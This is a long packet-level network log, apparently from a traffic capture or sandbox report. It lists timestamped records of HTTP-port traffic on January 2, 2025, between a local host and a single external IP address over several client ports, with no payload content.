Jan 2, 2025 19:14:17.913947105 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913955927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913968086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913975000 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.913975000 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.913976908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913988113 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.913990974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.913999081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914004087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914010048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914012909 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.914016008 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914025068 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.914025068 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.914040089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914052963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914060116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914066076 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914072037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914077044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914083958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914115906 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.914115906 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.914159060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914169073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914175034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914186954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914232969 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.914232969 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.914825916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914830923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914844990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914853096 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914858103 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914920092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914927959 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914936066 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.914962053 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.914962053 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915060043 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915066957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915074110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915080070 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915086031 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915091038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915096998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915101051 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915110111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915138960 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915138960 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915242910 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915247917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915281057 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915290117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915294886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915327072 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915352106 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915365934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915371895 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915378094 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915384054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915389061 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915410042 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915676117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915680885 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915689945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915695906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915700912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915705919 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915708065 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915714979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915720940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915735960 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915787935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915796041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915812969 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915815115 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915821075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915828943 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915841103 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915848017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915849924 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915849924 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915858030 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915865898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915870905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915875912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915915966 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915920019 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915920019 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.915977955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915985107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.915991068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916002035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916007996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916022062 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916037083 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916044950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916048050 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916048050 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916054964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916064024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916066885 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916070938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916078091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916104078 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916115046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916121960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916127920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916131973 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916138887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916145086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916158915 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916192055 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916196108 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916269064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916285038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916292906 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916297913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916304111 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916315079 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916320086 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916326046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916332006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916337967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916342974 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916343927 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916342974 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916342974 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916358948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916363955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916371107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916382074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916388035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916393042 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916412115 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916412115 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916441917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916446924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916455984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916461945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916471958 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916527987 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916527987 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916574955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916584015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916599035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916608095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916615009 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916620970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916626930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916626930 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916673899 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916678905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916686058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916690111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916695118 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916695118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916695118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916702032 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916841984 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916847944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916853905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916867971 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916877031 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916877031 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916886091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916893959 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916899920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916913033 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916913033 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916924000 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916932106 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916944981 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916949987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916955948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916961908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916973114 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916977882 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.916979074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916985035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916990995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.916996002 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917001963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917007923 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917012930 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917018890 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917025089 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917035103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917037964 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917047977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917053938 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917057991 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917068958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917077065 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917078018 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917083025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917088985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917095900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917097092 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917114019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917117119 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917118073 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917121887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917129993 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917138100 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917144060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917150974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917155981 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917160988 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917160988 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917202950 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917202950 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917211056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917217016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917223930 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917228937 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917234898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917239904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917251110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917259932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917263985 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917273998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917278051 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917290926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917295933 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917299986 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917299986 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917301893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917309999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917316914 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917371988 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917377949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917385101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917391062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917397022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917402983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917409897 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917448997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.917481899 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.917481899 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.919039011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919106960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919111967 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919117928 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919125080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919131041 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919138908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919145107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919195890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919200897 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919214964 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.919217110 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.919229031 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.919266939 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919280052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919286013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919310093 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.919362068 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919368029 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919373989 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919378996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919384003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919387102 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.919392109 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919404984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919410944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919411898 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.919424057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919430971 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919435978 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919442892 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.919452906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.920258045 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920263052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920269966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920277119 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920281887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920289040 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920298100 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920303106 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.920305967 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920320988 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.920355082 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920361996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920367956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920377970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920389891 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.920454979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920460939 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920466900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920483112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920490026 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.920495033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920501947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920507908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920514107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920519114 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920525074 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920528889 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.920533895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920542002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920551062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.920608997 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.920612097 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.924910069 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.927057028 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.927376032 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.927604914 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.933628082 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933636904 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933643103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933660030 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933672905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933680058 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933686972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933695078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933698893 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933712006 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.933810949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933819056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933825016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933835983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933842897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933851957 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.933873892 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933886051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933892965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933907032 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.933907986 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.933971882 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933978081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933984041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.933990002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934005976 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934017897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934025049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934045076 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.934118032 CET	80	49726	147.45.44.131	192.168.2.6
